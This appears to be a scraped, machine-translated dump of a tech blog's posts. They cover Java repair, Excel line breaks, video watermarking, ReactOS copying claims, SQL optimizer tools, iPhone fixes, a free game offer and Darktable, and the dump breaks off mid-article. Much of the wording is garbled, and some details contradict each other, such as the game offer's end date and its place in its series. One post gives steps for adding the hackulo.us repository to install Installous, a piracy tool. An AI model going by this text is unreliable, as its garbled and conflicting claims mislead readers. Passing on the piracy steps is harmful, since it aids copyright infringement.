2:\nReinstalling Java  Access the Control Panel through the Start menu located at the bottom-left of your screen.\n  Double-click on \"Add/Remove Programs.\"\n  Scroll down until you find Java in the programs list. Select the Java program and press the \"Remove\" button to remove it from your computer. Wait for Java to be completely removed (you will see it disappear from the programs list once the process is complete).\n  Download the newest version of the Java software for free from the Java website. Follow the steps provided during the installation process until Java has been reinstalled successfully.\n Method 2of 2:\nOther Methods for Repairing Java  Consider using other methods to fix Java if you don't want to completely remove the version that you already have installed. There are many tools available such as Microsoft Windows Installer Cleanup Utility and Uniblue Registry Booster that can detect Java errors and repair them.\n  Make sure you don't have any software installed on your computer that is blocking Java from running properly. Some antivirus programs may misinterpret Java as a software that is threatening your system's security and consequently you will see a message saying that Java was not found.\n  Use the correct version of Java that matches the software that you are trying to run. You will not be able to run programs that require Java if the version of Java that you have installed on your computer is incompatible with the program that you wish to open. You can try to change the settings on other programs to make them compatible with Java or upgrade or downgrade your Java version.\n  Consider reinstalling your operating system if other attempts to repair Java fail. You will have to format your hard drive, which will consequently delete all previous data stored on your computer including Java. You should then be able to install Java correctly from scratch after the operating system has been reinstalled.\n  Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqrrdWa\n","link":"/post/how-to-fix-java/","section":"post","tags":null,"title":"How to Fix Java"},{"body":"When entering the contents of an Excel cell to another line simply press Enter. Or if the content of the cell is long, you need to go to the next line to enter the content, avoiding the content that spills over to the next cell and disappears when viewed. There are many ways to get to the row in Excel on the box, such as using Alt + Enter, or using the Wrap Text tool available in the Excel toolbar.\nHowever, many people get errors that cannot be brought down in Excel cells, so the content in a cell is pretty much and overflowed into the adjacent cells. This will affect the document layout, especially when we work with Excel tables. So how to fix the error not down the line in Excel?\nFix \"File Error: data may have been lost\" error in Excel How to fix Errors were detected while saving files in Excel 2010 How to fix Excel error 'The formula you typed contains an error' Instructions for fixing line breaks on Excel 1. Error does not come down when clicking the mouse\nWhen you press Enter to get down to the new line in Excel will often jump to the box below, but the error will change to jump up or to the next box. This error is because the default settings on Excel have changed.\nGo to Excel Options and click on Advanced in the list on the left of the interface.\n  Then we go to the optional Editing options section After pressing Enter, move selection . In Direction, select Down and click OK. So when you press Enter the cursor will automatically go to the bottom line.\n  2. Error does not come down the line in the box\nAs mentioned above, there are quite a few ways to get down a row, but an error can cause the content to not be streamed. There are quite a number of reasons for a line break in the cell.\nExcel file is locked : there are many documents downloaded from the network that will lock the area in Excel. And so, the user cannot edit the content, including down-line in the cell in that locked data area. If you enter the data area and the message as shown below, the data on Excel is locked.\n  Working down a row in Excel : To manipulate a row in an Excel cell, double-click the cell. If you only press once, you can only select that box so you cannot go down in Excel.\nCheck on other software : if other software also uses Alt + Enter, it will be the same operation with Excel. Try turning off the software and then press Alt + Enter to enter the line.\nThe key press error is stuck : if the key is stuck or broken, then pressing Alt + Enter will not be able to get down.\nIn case of using MacOS if Alt + Enter is ineffective, you can use Control + Option + Enter to get down the line in a cell, or another key combination is Control + Command + Enter.\n3. Use Wraptext tool instead Alt + Enter\nIf in a cell when Alt + Enter is pressed, but not down the line, you can change to Wraptext tool. Just enter the content in a box and highlight and select the Wraptext section on the toolbar to switch the text to the line below.\n  Above are frequent downstream errors encountered in Excel, which may cause different line errors or down-line errors in 1 cell when entering long content. Errors on this line are not too difficult to fix when you can adjust the settings on Excel, or use the available carriage return feature if you press the failed key.\nSee more:\nGuidance on how to align Excel correctly How to align text in a cell in Excel MS Excel - Lesson 4: Working with lines, columns, sheets I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6qr%2BMp6atZZSkxK9506GcZqSZo7Jutc1mnLGblaE%3D\n","link":"/post/how-to-fix-the-error-is-not-down-the-line-in-excel/","section":"post","tags":null,"title":"How to fix the error is not down the line in Excel"},{"body":"With self-designed, self-designed videos, inserting the logo into the video is necessary to mark the right video table, to avoid unauthorized content theft. Often, to insert a logo for a video, you will immediately think about video editing software. However, if you only need to add a logo for the video, you can immediately use some of the online video editing tools provided by the Network Administrator in this article. Users select photos, or JPG and PNG logos to insert into videos. Most of these websites do not require account creation, so users can handle videos freely.\nInsert logos into videos with Proshow Producer Instructions on how to stamp videos on Video Watermark software How to make 360-degree logos on Camtasia Studio Instructions for inserting text into videos on iPhone 1. Insert the logo into the online video on Veed Beta Step 1:\nUsers access the link below to visit Veed Beta's homepage. Here you click Upload Video to upload the video to the website.\nhttps://www.veed.io/    Step 2:\nDisplay video editing interface. Veed Beta has many options to handle videos, click Add Image to add images to the video.\n  Step 3:\nNext click Drag \u0026amp; Drop and then select the logo in the computer you want to insert into the video.\n  Display logo in video screen. Users proceed to adjust the size of the logo as well as the position of the logo to insert the video. If you don't want to use this logo, just scroll down to the trash can icon.\n  Step 4:\nYou wait for Veed Beta to process the video and then click the Download button to download the video.\n  2. Insert logo into video on WaterMark Step 1:\nUsers access the link below to access the WaterMark homepage. Next, click Sign up to register your account. With a free account, only the logo with video is supported for up to 30 minutes.\nhttps://www.watermark.ws/    Then click on the Get Started button to proceed to download the video.\n  Step 2:\nChoose where you want to upload videos , including computers, Facebook and some cloud storage services that WaterMark supports.\n  Step 3:\nWait for the website to upload videos to the homepage and users click on Edit to edit the video.\n  Select the Watermark item to select the logo. At that time, users have 2 options: insert logo for video toj Text, manually enter text into video or use available image.\n  Step 4:\nIf you insert an image of an existing logo, click Import Logo to insert the image.\n  If you select the script, the user has the interface to format the logo in the video.\n  Step 5:\nLogo images when inserted into the video have many other customizations, such as deleting the logo background if the image is not png, adjusting the opacity of the logo, . When finished editing, click Apply to agree.\n  Click Finish below to complete the logo insertion.\n  Step 6:\nWait for the process of inserting the logo on WaterMark and then click the Download button to download the video.\n  With the free version, users will only be allowed to download videos up to 30, click Preview to download the video.\n  3. Attach the logo to the video on Kapwing Step 1:\nGo to the link below to go to Kapwing's homepage. Click Get Started to proceed to edit videos on the web site. Click Sign in to create an account to delete Kapwing's logo when editing videos.\nhttps://www.kapwing.com/    Step 2:\nNext, users click on Click to Upload to upload the video to the system.\n  Upload the video to the website and look down below to click Upload to download the logo image you want to insert into the video.\n  Step 3:\nDisplay logo on video interface. We adjust the logo frame accordingly when playing the video.\n  Step 4:\nClick Publish in the top right corner to proceed with the video export.\n  As a result, users see videos with logos attached. Click Download to download the video to your computer. In addition to logo insertion, Kapwing has many other video editing tools. Reference article How to edit online videos with Kapwing.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyaZKWnl6R6qrrTqGSaZaaesaa7jLCgraCfqsFuv86fq7CZopo%3D\n","link":"/post/how-to-insert-a-logo-into-a-video-without-software/","section":"post","tags":null,"title":"How to insert a logo into a video without software"},{"body":"Instead of using video downloading software, we can now use audio and video download utilities in browsers. The number of websites that support media file downloads is also expanding, not just downloading YouTube videos as before.\nTo download videos on Firefox, you can use many different utilities such as Ant Video Downloader utility. The utility will capture the video or audio link on the open tabs, and users can quickly access the saved folder or reopen the page of the downloaded file.\nHow to download videos on Web browser with Video Download Helper How to use Skyload utility to download music and videos on your computer How to download videos Facebook, Vimeo with Vido - Video Downloader How to download videos in Firefox using Ant Video Downloader Step 1:\nYou can access the link below to install the Ant Video Downloader utility on Firefox. Click the Add to Firefox button.\nDownload the Ant Video Downloader Firefox utility   Step 2:\nNow go to the website you want to download the video and then click on the utility icon at the end of the address bar.\n  Step 3:\nSwitch to the new interface with 2 different items. In the Detected videos section, we will see the file link of each open video site.\n  To download the file, click on the Download link button or behind the target file line. Or you can download the download accelerator by copying the link at the target file.\n  Open the interface on the folder, name the file and then click the Save button to save it. In case you download audio files, you need to add mp3 extensions or any format because the file will be saved as mp4 by default.\n  Step 4:\nIn the Downloads section, we will see the downloaded files displayed. Click Open folder to open the folder to save the file. If you want to access the downloaded video and audio page, click on the title link.\n  In general, the usage of the utility Ant Video Downloader on Firefox is very simple. We can download videos right away from the download file management interface, or use the link in the target link to download videos with download accelerators like IDM.\nSee more:\nHow to download the Facebook video HD on the computer The fastest way to download Facebook videos to your computer without software Instructions for downloading Facebook videos on iOS and Android phones Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiutNmraKclaR6pbvWp6OomZSav27AzmabqK%2BeobyisIyvoJ2dn6h6rrySrGSipl2btrOxxaiv\n","link":"/post/how-to-use-ant-video-downloader-to-download-videos-mp3s-in-firefox/","section":"post","tags":null,"title":"How to use Ant Video Downloader to download videos, mp3s in Firefox"},{"body":"Currently, users will have to spend higher amounts than before if they want to buy the copyrighted version of Windows 10 Home because Microsoft suddenly raised the price. It is unclear when this price increase occurred, but according to reports, Microsoft quietly did this in early October.\nSpecifically, the previous selling price of Windows 10 Home is $ 119.99 (2.8 million VND) and after Microsoft quietly raised the price, the current price is 139 USD (3.27 million VND).\n  Photo: Microsoft.\nMSPowerUser found this price increase information first on the Microsoft store at Microsoft.com. After downloading Windows 10 Home as a digital installation file, consumers found its price increased to $ 139.00. Currently on the Amazon website, the price of its digital version is also at this level. The physical USB installation version still has a retail price of US $ 119.99 but is in a state of \"out of stock\".\n  It is likely that the new price will soon be applied to both digital and physical installation versions in the next few months.\nMicrosoft has only applied this price increase in the US and it is still unclear what effect this has on the retail price market in Vietnam.\nSee more:\nMicrosoft died of Windows 10 Creators Update version Microsoft publicly released MS-DOS source code on GitHub Microsoft recalls Windows 10 October 2018 Update to fix errors ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsC2sMOepaWxXaeuqr%2FEnWStoJVivbO1wp5kqJ5drLavsM6wqmZpYGK1sLnEZq2eqqOevK9506hkamtpYsK0sA%3D%3D\n","link":"/post/microsoft-suddenly-raised-the-price-of-windows-10-home-version-to-139-usd/","section":"post","tags":null,"title":"Microsoft suddenly raised the price of Windows 10 Home version to 139 USD"},{"body":"With the ability to break down like a rocket, any prey that is cut right by the bird is almost sure to die.\nThe extremely intense battle of two 5-ton male elephants If you suffer from the world's most poisonous spider, how will your body be destroyed? With a maximum speed of up to 320km / h, the large cut bird deserves the title of the fastest flying bird in the world. Until now, no animal has been able to break the record of this bird, including the cheetah (cheetah), the fastest animal on land at a speed of more than 120 km / h is still far behind. .\nVideo: The prey phase of the big bird's speed.\nLarge cut birds have Falco peregrinus scientific names, they often live and hunt on empty areas such as steppe, marshes, desert edges, grasslands everywhere on Earth. Because of the wide range of habitats, it is also called the \" Wandering Bird \".\nThe large bird's food is quite diverse, ranging from small birds, small mammals to rodents or sometimes insects.\nDuring the hunting trip, the bird usually flies high and rushes down when it detects its prey. Sometimes they try to take their prey in the air and land on the ground to pick up their prey.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BjsqGenHqww8tmqq6lnZa%2FqsbErGStoJViuaqzx62loqaXYrOiv9Nmp6udqWK8p3nToZxmr5%2BnuaW%2FjJ%2BYrKyVqMFussuyoKefXZe2s7A%3D\n","link":"/post/the-flying-owl-summarizes-the-lightning-fast-prey-of-the-world-s-fastest-flying-bird/","section":"post","tags":null,"title":"The flying owl summarizes the 'lightning fast' prey of the world's fastest flying bird"},{"body":"How to choose the right hair color for each skin tone To choose the standard dyed hair color according to the skin tone, in addition to the skin tone, the skin tone is easily visible to the naked eye, you also need to identify the undertone that is the color under your skin. They are divided into 3 categories: warm undertone, cool undertone and neutral undertone. Based on the principle of choosing dyed hair color versus skin tone, cool undertone owners can choose warm colors and warm undertone can choose cold colors to complement their characteristics. With neutral undertone, almost any dyes are responsive. Also, whatever your skin tone or the color of the dye you're trying to try out, try to make sure their shades are darker or 2-tone lighter than your skin tone.\nHere are some basic hair dyes and skin tones that you can consider:\nHair dyed brown\n Cold brown\nCold brown almost not too fussy skin, but it will be the color that gives the best effect for warm undertone skin tones. You can refer to them with shades like dark brown, mocha, chestnut brown, chocolate brown .\n Warm brown\nIf you have medium-neutral undertone skin tone, try warm shades like caramel, honey, golden brown, amber, cinnamon or mahogany . This is also considered a pretty suitable dye for light skin. Please note to add the skin tone below to get a more perfect combination of shades and tones.\nBlack hair\n Cold black\nCold black tones like pure black, dark blue, espresso, licorice black . can work well with warm undertone or neutral undertone thanks to its effect on skin highlighting.\n Warm black\nWith the advantage of being gentle and natural, warm black hair colors such as dark mocha, dark brown, cocoa color . are extremely suitable for those who are white, cool undertone or neutral undertone.\nHair dyed yellow\n Cold yellow\nBlonde hair color dyed with cold tones with shades such as platinum, silver, smoke, gray, ash, beige, white, champagne . is usually very suitable for those who have cool undertone, especially possessing porcelain white skin. The reason is that the perfect combination with cold tones will help you neutralize the redness of the skin while replenishing and enhancing your strengths.\n Warm yellow\nHair dyed warm yellow tones such as gold gold, copper, caramel, amber, honey, strawberry gold . is considered to be able to bring better effects for those with smooth white skin with cool undertone. If you have light skin with warm undertone that you want to try, choose caramel blond for a more impressive look but remember to avoid overly blond tones.\nHair dyed red\n Cold red\nRed shades like pure red, reddish brown, reddish purple . can highlight bright skin very well so this dye is extremely suitable for cool undertone. In addition, cold red hair is also considered to be quite good for those with slightly warm or dark skin.\n Warm red\nWarm red hair with shades such as strawberry blond, copper, amber . is very suitable for those with neutral undertone skin tones. Light skin with yellow tones or pale, pale skin can also warm red hair because it will make the skin ruddy, healthier.\nChoosing hair color according to skin tone is one of the ways to help you find it easy to find and to have a hairstyle that complements your strengths. Of course, personal preference or other factors are also important, but if you combine them in harmony, the result will be more perfect.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKycnKqVqXq1u4ycn6ino567qHnDspydZZiWtrN5wqijqKpdqbWiwIymmK2bmJrAbr%2FKoqVmm5%2BhvLM%3D\n","link":"/post/the-secret-to-choosing-dyed-hair-color-that-matches-skin-color/","section":"post","tags":null,"title":"The secret to choosing dyed hair color that matches skin color"},{"body":"Axel Rietschin, a kernel development engineer at Microsoft, stated that ReactOS - an open source operating system with binary compatibility with Windows, is the perfect copy based on the Windows Research Kernel that Microsoft has each license to use in previous universities and educational institutions.\nAxel Rietschin is currently a senior software engineer - Senior Software Engineer (Windows Base Kernel, Container Technologies) of Microsoft. In fact, this is not the first time he talked about this issue. Earlier in late 2017, Rietschin also gave some complaints regarding ReactOS's copy source, but at the time, this information did not seem to get much attention from the side. development community.\nZorin OS 15, a user-friendly version of Linux operating system, for those who are tired of Windows or Mac   ReactOS operating system\n\"I think it's a copy for the Windows Research Kernel that Microsoft has licensed to use in universities under an agreement. This agreement is clearly violated in many cases by code (code). Its content has been uploaded in many places, including GitHub.After considering the code tree of ReactOS and from personal opinion, Axel Rietschin argued that 'internal data structure and internal functions of the background This platform has not been publicly extracted, and owns the exact same name as if they had appeared in the Research Kernel \".\nIn his recent post, Rietschin presented additional arguments to the idea that ReactOS is a \"clean room\" implementation, which can be done without reference to the source code. \"Macro names, parameters, etc. never appear in compiled code. It is almost certain that a\" clean room \"implementation will end up using macros for the same purpose, not to mention. Macro work has the same or similar names, \"explained the engineer.\nEverything you need to know about macOS Catalina If you do not know, ReactOS is an open source operating system, designed to be used for x86 / x64 personal computers with binary compatibility ideas with computer programs and drivers written for Windows Server 2003 ReactOS is a long-standing project that began to develop in 1996 and is still in Alpha stage (the current version is 0.4.11).\nThe user interface as well as the overall interface of this operating system contribute to the era of domination of Windows XP. ReactOS looks quite similar to XP and its previous versions. The advantage of ReactOS is that it provides fast processing speed, supports almost all Windows applications, and most importantly, it is extremely small, only about 127MB.\nAxel Rietschin suspects that ReactOS may be derived from one of the past code leaks. In 2006, a developer made a similar question, leading to an internal test of the ReactOS development team.\nSteven Edwards, the developer responsible for the ReactOS project, claims that the operating system code must comply with \"national standards (US) on reverse engineering\". Edwards said his team will rewrite all code that did not comply with the standard, but the developer also said: \"We do not prohibit developers from having access to leaked sources. contribute to ReactOS \".\n10 PC operating systems can replace Windows Previously, Microsoft dominated the operating system world, the open-source ReactOS project was also more important than the present. Today, PC sales are almost saturated and Windows has no competition in the mobile market, Microsoft's orientation has changed. Redmond is now focusing more on cloud applications and services than Windows, making Axel Rietschin's statement even less important than it used to be.\nWith ReactOS, you can experience classic Windows without expensive. ReactOS is not illegal, meaning you can use it as a daily operating system without fear. You can download the ReactOS operating system from https://reactos.org/\nncG1vNJzZmismaXArq3KnmWcp51kv6atwq2mrGWRo3q2usCuq6Gnop7HprCMnKapsV2ks27Ax55ksKGemby4v4yrnKydkaewqXnKnqmnnZw%3D\n","link":"/post/an-unauthorized-copy-of-the-windows-research-kernel/","section":"post","tags":null,"title":"'an unauthorized copy of the Windows Research Kernel'"},{"body":"For iPhone users, when taking the time to 'walk around' the App Store, you will see a variety of applications and utilities for this Apple product. But everyone knows if the program is really necessary and suitable for their needs is another story. In the article below, we will introduce to you the top 3 Cydia applications needed for any iPhone 4 currently.\n1. Installous:\n  \nThis tool allows you to view old and new Cydia applications with the system's built-in search function. All you need to do is select the appropriate applications from the list, check and wait for the installation process to finish.\n2. Wifi Sync:\n  \nWith WiFi Sync, users will feel much more convenient in the process of synchronizing data on contact accounts, text files . and many other things via Wifi.\n3. M Cleaner:\n  \nFor today's phone users, no one can avoid spam messages and calls. But with M Cleaner, users can be assured because this application can sort and organize incoming calls according to black list and white list. After you give any phone number to the black list, it will never be bothered again.\nNote that the installation process of these applications is quite similar, just note hackulo.us is Cydia's repository. Open Cydia\u0026gt; Manage\u0026gt; Edit\u0026gt; Add and type Cydia.hackulo.us in the http box. After clicking Add Source , the system will display the bulletin board, you click OK and the system will automatically download Installous through this new repository. Besides, another point to note is that it should be done on an iPhone that was Jailbroke. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kgG61zZ2grKiVo8CirsueZJqooKG2pK3Toqanq12bvLN5yKmfqKaVYoE%3D\n","link":"/post/3-indispensable-applications-for-iphone-4/","section":"post","tags":null,"title":"3 indispensable applications for iPhone 4"},{"body":"To write optimal SQL queries that work well, you need to know how the query optimizer works.\nIn general, the SQL query optimizer analyzes many options for a given query, estimates the cost of each of these options and finally, selects the lowest cost options. This will help you appreciate the importance of the query optimizer.\nIf the query optimizer chooses the wrong package, the performance difference can range from a few milliseconds to even minutes. This also explains why this optimizer has the greatest impact on the performance of a SQL Server component.\nFortunately, today there are many third-party SQL query optimization tools that can automatically optimize every SQL query. These tools greatly reduce the work of database developers and administrators, as they provide many suitable query and indexing suggestions.\nNow that we know the importance of SQL query optimizers, let's look at some of the best options at the present time.\n2021 Top SQL Query Optimization Software \u0026amp; Tools 1. Solarwinds Database Performance Analyzer 2. Redgate SQL Monitor 3. Idera DB Optimizer 4. EverQuery 5. dbForge Studio 1. Solarwinds Database Performance Analyzer Database Performance Analyzer from Solarwinds is an advanced tool to monitor, analyze and adjust database and SQL query performance.\n  The main features of Solarwinds Database Performance Analyzer include:\nIdentify database problems in real time. Track all queries in each active session and identify areas that cause delays in performance and query execution. Monitor and optimize SQL server from a view, regardless of whether it is on-premises, virtualized or in the cloud. Capture multiple metrics on server response time and statistics and store them in data archives for future analysis. Installation has no software or agents on the monitored server and therefore puts less than 1% of the load on the monitored version. Take you to the root cause for 3 to 4 clicks. Correlate SQL statements, context, system, storage status, pending type and response time to give you a complete picture of query performance. Actively monitor the system and identify problems before it starts affecting users. Determine the SQL blocks and its corresponding keys. Automatically create graphical reports and even send emails to designated addresses. Active alerts via email or SNMP trap. Good integration with Orion platform. Provides cross-database support between multiple vendors from a single interface. Works well on various databases like SQL Server, Oracle, MySQL, MariaDB, Aurora, DB2 and ASE. Download the fully functional 14-day free trial version of Solarwinds Database Performance Analyzer.\n2. Redgate SQL Monitor Redgate SQL Monitor actively monitors your SQL server and reports problems, before they turn into a real disaster.\n  Some important features in Redgate are:\nGives you the option to install a base screen for each location, meaning you can get reports of all your data centers in a single interface, without having to install A separate user interface in each location. With this feature, you can monitor the performance of all locations through a single SQL screen control panel. A base screen may include more than 200 servers. All alerts are expandable objects in the inbox. So you have all the necessary information grouped together, but also avoid cluttering your inbox. Warn deadlocks (states that occur in multitasking environments, when two or more processes enter the loop waiting for the resource to be permanent) when they occur, to help easily recover any lost processes and provide measures to reduce their future appearance. Create advanced charts to help you quickly see the status of SQL queries. Query history graphs help see the impact of queries. This makes it easy to identify the problem soon. Blocking processes are displayed in an overview page for easy reading. Identify deployment implementations and similar displays on the timeline. You can load a lot of details via API import-export. Determine problematic database deployment. Download the 14-day free trial of Redgate SQL Monitor.\n3. Idera DB Optimizer Idera DB Optimizer is a comprehensive tool that regulates poorly functioning SQL code, helping you identify problems and their root causes early.\n  Idera comes with the following features:\nAdjust SQL code on all major RDBMS such as Oracle, Sybase, DB2 and SQL Server through a single common interface. Reducing the need to train and streamline cooperation between different groups within an organization. The wizard that comes with this tool will automatically suggest solutions to improve optimization. The index analysis view is color-coded, showing missing indexes and making recommendations to fix the same. Its unique Visual SQL tuning scheme turns text-based SQL code into a graphical SQL diagram. This helps DBAs understand the impact of SQL queries on the database. Graphical representation of time-out analysis to determine poor database performance. Allow shared information throughout the process. Load testing verifies the performance of existing SQL queries and replaces the database Help run multiple queries in parallel to stimulate the environment you want. Suitable SQL rewrite is suggested. Download the fully functional 14-day free trial version of the Idera DB Optimizer.\n4. EverQuery EverQuery is an online SQL query optimizer, providing the easiest way to track the performance of SQL queries.\n  EverQuery comes with the features mentioned below:\nOptimize SQL queries easily. Simple to use. Comes with an intuitive interface. No need to download or install. Just upload or import queries, schema structure and get optimized query results. Do not require any access to the database. Database support MySQL, MariaDB and PerconaDB. Provide the best indexing recommendations. Price:\nThere are 4 packages, namely Free, Basic, Plus and Pro.\nFree package\nFree use Two credits are given Automatic query optimization Provide indexing recommendations Email support Basic package\nCost $ 29\u0026nbsp; / month 10 credits available per month Automatic query optimization Provide indexing recommendations Provide query history Email support Plus package\nCost of $ 135 / month 50 monthly credits available. Optimize from slow log Automatic query optimization Provide indexing recommendations Email support and live chat Pro package\nCost of $ 749 per month 300 monthly credits available. Optimize from slow log Automatic query optimization Provide indexing recommendations Email support and live chat This tool can be accessed online at:\n https://www.eversql.com/  5. dbForge Studio dbForge Studio is a powerful tool designed for integrated development environments. dbForge Studio helps develop, manage, administer, analyze, report queries and performance of SQL Server.\n  dbForge Studio has the following features:\nProvides support for SQL encoding in the form of automated code completion, to create SQL statements with just a few keystrokes, SQL format to comply with an commonly accepted encryption standard, T-SQL analysis to improve code quality with configurable rules, SQL snippet to store and reuse repetitive code and advanced code navigation. Provides complete control on your server. Analyze the status of SQL indexes and troubleshoot index fragmentation. Enables immediate construction and reorganization of SQL indexes in an intuitive way. Perform unit testing automatically. Optimize the slow query. Each query is analyzed and displayed along with its cost. The query is also indicated as a percentage of the total batch cost, if you perform batch queries. The Wait Stats tab allows you to easily detect bottlenecks in your query. Displays a list of pending queries and events related to each query The PLAN tree provides information about executing every query, including locations, to help optimize optimization. Display activities with the largest cost. Provide output statistics for all tables. Help you view data collection results for multiple queries, after you change the query each time. Price:\nThere are 3 packages: Standard, Professional and Enterprise.\nStandard package\nCost $ 249.95\u0026nbsp; Complete the basic code Visual query generator Query crawler T-SQL debugger Export \u0026amp; import data Professional package\nCost $ 499.95 All Standard features are included. Complete code enhancement T-SQL code analyzer Compare and synchronize data Compare \u0026amp; synchronize schemas Check data creation Automate command line Enterprise package\nCost $ 699.95 All features of the Professional version Source Control (Source Control) T-SQL Unit Test Document DB Download the free trial version of dbForge Studio.\nIn short, the SQL query optimization software and tool helps you choose the right queries that take less time and resources to perform, and also gives you the best performance. The above mentioned tools are great options for optimizing your SQL queries.\nWish you have the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZquhoXqywcSrsGanoKm2rrXZmquip55iwLCy07CYq51dqbxuv8%2BenJ1lpaV6rsXSqqM%3D\n","link":"/post/5-best-sql-query-optimization-software-to-speed-up-mysql/","section":"post","tags":null,"title":"5 best SQL query optimization software to speed up MySQL"},{"body":"In the event that the message does not appear, simply unplug the connection cable and reboot the device.\n1. Turn off image format conversion By default, iPhone automatically converts multimedia files (photos, videos) to a format compatible with the receiving device (Mac or PC). However, this process sometimes causes The device is unreachable error on Windows.\nTo turn off image format conversion, disconnect your iPhone from your computer, then go to Settings - Photos (photos) and select Keep Originals in the Transfer section. to Mac or PC (transfer to Mac or PC).\n  2. Use a different connection cable Almost any type of cable can charge iPhone, but the witty cables will not support data transfer and are not safe for long-term use.\nWhen you want to use a third-party Lightning cable, users should choose famous brands such as Anker, Aukey, RAVPower . that support fast charging according to PD standard and get Apple's MFi certification.\n  3. Use the error correction tools available on Windows Windows has a built-in tool to help you quickly check and fix common problems.\nTo use, plug your iPhone into your computer, then press Windows + R, enter the command msdt.exe -id DeviceDiagnostic and click OK. The Hardware and Devices troubleshooting tool will now launch.\nIf the troubleshooter doesn't detect any errors with your device, try updating the USB driver.\n4. Update the USB driver First, right-click the Start menu in the lower left corner of the screen and select Device Manager. Next, users just need to navigate to Universal Serial Bus controllers, right-click on the USB Root Hub line and select Update driver - Search automatically for updated driver software.\n  5. Update iOS If none of the above solutions fix the problem, try updating iOS by going to Settings - General - Software Update - Download \u0026amp; Install (download and install). Setting). Note, the size of the update may vary depending on the device you are using.\nBefore updating, users should back up all data on iPhone via iTunes or iCloud to minimize possible risks.\n  Connect iPhone to computer iPhone ncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYrOqxIytn55llae%2FsL6MnJinZZ6kwW6vzqelnpukYraxtM6nnGasn2LBqbGMnKamqKWpsrM%3D\n","link":"/post/5-ways-to-fix-the-error-can-not-connect-iphone-to-the-computer/","section":"post","tags":null,"title":"5 ways to fix the error can not connect iPhone to the computer"},{"body":"Age of Wonderers III is a unique strategy game that blends empire-building, role-playing and war gameplay. This is the fourth part of the long-known Age of Wonders series and is one of the most highly regarded strategy games in the industry and players.\nIn the game, players will play the role of a leader of a small kingdom, make the journey to discover new lands, exploit resources, destroy monsters to collect items to help the country increasingly. a strong economy and military.\n  When interacting with other kingdoms, players can rely on the situation and strategy to develop their kingdom to choose diplomatic form or wage war with the alliance.\n   Currently, the licensed game distribution service Humble Bundle is offering a free program of redeem code of Age of Wonders III game for 29.99USD on Steam until 11/5/2019. If you want to experience this fascinating strategy game, please quickly follow the instructions below before expiring.\nNote: The period of free redemption of Age of Wonderers III only lasts until May 16.\nInstructions for free download game Age of Wonderers III.\nStep 1: Visit the Humble Bundle homepage to register a new account if not yet.\nStep 2: Log in to the Humble Bundle.\nStep 3: Click on the link below to access the game's information page -\u0026gt; then go to GET AGE OF WONDERS III NOW -\u0026gt; click GET IT NOW.\nGet Age of Wonders III for free   Step 4: Open the function menu -\u0026gt; select Key -\u0026gt; select Reveal your Steam key to receive redeem Age of Wonders III on Steam.\n  Step 5: Press the redeem button next to use this code to get free game Age of Wonders III on Steam.\n  Step 6: At the transition page, log in to the steam account -\u0026gt; tick the box I agree to the terms of . -\u0026gt; select Continue as the Age of Wonders III game to be added to your game library.\n   Step 7: Open the game library (library) or search on the Steam Store to open the Age of Wonders III game page -\u0026gt; click the Install or Play now button to install the game on the computer.\n  ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdlrSmec6fZLCnnpmys7%2BMoqCiZZGjeqbE06ucpp2crnqiwNOrmJysmauybr%2FTq5itnZeueqitzJ5ksKeiqbVufphycGavmJ6wqXnIrGSfqpWa\n","link":"/post/download-age-of-wonders-iii-an-extremely-attractive-strategy-game-worth-29-99-which-is-free/","section":"post","tags":null,"title":"Download Age of Wonders III, an extremely attractive strategy game worth $ 29.99, which is free"},{"body":"With advanced image editing capabilities, users can perform post-production on raw files, especially in large files, Darktable is software used by photographers on macOS and Linux regularly.\nIn 2008, Darktable was introduced to the public and after 8 years Darktable version for Windows appeared.\n  Currently Darktable Windows version has some features such as:\nManage colors of images. Support multiple image formats (JPEG, RAF, HDR .). Quick image processing. Support for multiple cameras and languages. However, it still lacks some features such as:\nNot yet supported printing and an error occurred in case of file name. Non-ASCII characters in file names are not supported when importing and exporting TIFF. Ignoring the above restrictions, according to PetaPixel, this photo editing application is still stable and they hope it will bring great experience for users when using.\n  Darktable has a lot of functions similar to Lightroom and completely free, so if you are looking for another application to replace Lightroom to manage and process raw images, it is a great alternative.\nYou can download Darktable application for Windows and experience.\n  Besides the Windows version, the Mac version has also been upgraded to Darktable 2.4.0 and has many new features such as bug fixes and support for more cameras, with a new module for the ability to type. remove haze, support back to the mask, the group of steps turns smarter.\nSee more:\nPhoto editing software for Lightroom alternative 18 tips for screen capture tool on iOS 11 you should not ignore 30 tools to support online photo editing without using Photoshop 15 best photo editing apps for Android ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdlrulecSxp56qmZq7pLGMnZiro6SWr62xjJ%2Bpnp1dp664ecimmKCdXaW%2FsK%2FErKqippdirq%2BwjKaYp5mXmrqmutNmqqiepKyus7GMqKVmr5mjsbDD0g%3D%3D\n","link":"/post/download-and-experience-darktable-free-raw-image-processing-and-management-software-on-windows/","section":"post","tags":null,"title":"Download and experience Darktable, free raw image processing and management software on Windows"},{"body":"  GroupWise to Exchange 2007 - Interoperability and transition (Part 1)  GroupWise to Exchange 2007 - Interoperability and transition (Part 2)  GroupWise to Exchange 2007 - Interoperability and transition (Part 3)  GroupWise to Exchange 2007 - Interoperability and transformation (Part 4)\nNathan Winters\nPart 5 of this series will introduce:\nHow free / busy information is required and passed between GroupWise and Exchange 2003\n How to check if the information being transferred is correct\n How does Exchange 2007 complicate matters?\n Microsoft support statement\nMicrosoft does not support GroupWise 7 collaboration with Exchange Server.\nMicrosoft has made it clear that:\nMicrosoft Exchange Server 5.5, Microsoft Exchange 2000 Server and Microsoft Exchange Server 2003 support Novell GroupWise versions 4.1x, 5.0, 5.1, 5.2x, and 5.5x.\n Exchange Server 2003 Service Pack 2 supports Novell GroupWise versions 4.1x, 5.0, 5.1, 5.2x, 